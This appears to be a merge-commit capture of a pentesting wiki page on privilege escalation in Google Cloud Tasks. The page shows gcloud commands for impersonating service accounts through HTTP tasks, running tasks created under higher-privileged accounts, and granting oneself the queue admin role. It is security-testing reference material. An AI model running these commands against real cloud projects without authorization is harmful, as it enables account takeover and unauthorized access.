Merge pull request #196 from lambdasawa/master

grte-lambdasawa
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SirBroccoli
2025-08-18 16:06:12 +02:00
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- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)

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# GCP - Cloud Tasks Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Tasks
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
An attacker with these permissions can **impersonate other service accounts** by creating tasks that execute with the specified service account's identity. This allows sending **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** services.
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
An attacker with these permissions can **run existing scheduled tasks** without having permissions on the service account associated with the task. This allows executing tasks that were previously created with higher privileged service accounts.
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
The principal executing this command **doesn't need `iam.serviceAccounts.actAs` permission** on the task's service account. However, this only allows running existing tasks - it doesn't grant the ability to create or modify tasks.
### `cloudtasks.queues.setIamPolicy`
An attacker with this permission can **grant themselves or other principals Cloud Tasks roles** on specific queues, potentially escalating to `roles/cloudtasks.admin` which includes the ability to create and run tasks.
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
This allows the attacker to grant full Cloud Tasks admin permissions on the queue to any service account they control.
## References
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
{{#include ../../../banners/hacktricks-training.md}}